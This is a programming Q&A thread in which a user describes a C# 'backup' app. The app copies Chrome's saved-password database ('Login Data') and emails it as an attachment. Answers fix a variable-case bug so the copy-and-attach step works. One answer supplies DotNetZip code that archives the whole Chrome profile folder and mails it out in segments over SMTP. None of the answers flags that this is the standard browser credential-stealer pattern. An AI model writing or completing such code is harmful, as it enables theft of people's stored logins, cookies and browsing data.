1

i'm writing a little C# application which backups my files periodically.

Now i encountered an issue cause of this File.Copy method not overwriting the already existing "Login File.txt" :

string local = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); //used to define Local

DirectoryInfo chrome = new DirectoryInfo(Local + @"\Google\Chrome\User Data\Default"); //used to define chrome directory

if (chrome.Exists) //method to check if file exist, than copy to *.txt file and attach to email for backups.
{
    System.IO.File.Copy(local + @"\Google\Chrome\User Data\Default\Login Data", local + @"\Google\Chrome\User Data\Default\Login Data.txt", true);
    message.Attachments.Add(new Attachment(local + @"\Google\Chrome\User Data\Default\Login Data.txt"));
}

I use the copy method cause seems that i cannot grab that file with no extension in my code, so i decided to use this turnaround and convert to a .txt file so i can properly attach to my email. However, i'm using this method: https://msdn.microsoft.com/en-us/library/9706cfs5(v=vs.110).aspx cause it allows to overwrite the destination files but seems this doesn't happen and my application stop sendign the backups cause of this.

I can affirm this is the issue since if i comment that part of code everything runs smoothly.

What am i doing wrong here?

Thanks for your answers in advance.

JP Hellemons
  • 5,977
  • 11
  • 63
  • 128
Kranio23
  • 11
  • 3
  • Failing to read the documentation you linked. See that documentation for what's expected in the first parameter (`SourceFilename`), and compare it to what you're assing.. – Ken White Feb 19 '16 at 14:14
  • 2
    You should consider using `Path.Combine` rather than concatenating strings when building paths. – juharr Feb 19 '16 at 14:14

3 Answers3

1

check the parameters you give to the File.Copy(). It seems that the first parameter is not a file but a folder: Local + @"\Google\Chrome\User Data\Default\Login Data"

VDN
  • 717
  • 4
  • 12
  • As small addition to your answer: @Kranio23 should read this: https://msdn.microsoft.com/en-us/library/bb762914%28v=vs.110%29.aspx My `Default` folder is over 400mb so even if you would use some dotnetzip or some other compression lib. You won't be able to fit all of that in just one e-mail attachment. – JP Hellemons Feb 19 '16 at 14:14
1

You are trying to mail a complete folder of (in my case) over 400mb. Your approach should be: copy the content (if there is a folder) to a temp folder. compress it in archives of less than 10mb each and mail your archive collection.

In my case this would be about 50 e-mails:

my default folder

You can use the dotnetzip https://dotnetzip.codeplex.com/ nuget package:

string local = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @"\Google\Chrome\User Data\Default"; 

DirectoryInfo chrome = new DirectoryInfo(local);

if (chrome.Exists)
{
    using (ZipFile zip = new ZipFile())
    {
        string[] files = Directory.GetFiles(local);
        zip.AddFiles(files);
        zip.MaxOutputSegmentSize = 10 * 1024 * 1024 ; // 10 mb 
        zip.Save(local + "/test.zip");

        for(int i = 0; i < zip.NumberOfSegmentsForMostRecentSave; i++)
        {
            MailMessage msg = new MailMessage("from@from.com", "to@to.com", "subject", "body");
            // https://msdn.microsoft.com/en-us/library/5k0ddab0%28v=vs.110%29.aspx
            msg.Attachments.Add(new Attachment(local + "/test.z" + i.ToString("00"))); //format i for 2 digits
            SmtpClient sc = new SmtpClient();
            msg.Send(sc); // you should also make a new mailmessage for each attachment.
        }
    }
}

from: https://stackoverflow.com/a/12596248/169714 and from: https://stackoverflow.com/a/6672157/169714

Community
  • 1
  • 1
JP Hellemons
  • 5,977
  • 11
  • 63
  • 128
0

In your code, the you check if the file with path "Local" exists and then copy the path with "local". Using the debugger, you can inspect the value of "Local" and see if it's different than "local". The code below could work:

string local = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); //used to define Local

// ** Note in your example "local" is capitalized as "Local" 
DirectoryInfo chrome = new DirectoryInfo(local + @"\Google\Chrome\User Data\Default"); //used to define chrome directory

if (chrome.Exists) //method to check if file exist, than copy to *.txt file and attach to email for backups.
{
    System.IO.File.Copy(local + @"\Google\Chrome\User Data\Default\Login Data", local + @"\Google\Chrome\User Data\Default\Login Data.txt", true);
    message.Attachments.Add(new Attachment(local + @"\Google\Chrome\User Data\Default\Login Data.txt"));
}
Steve Wong
  • 2,038
  • 16
  • 23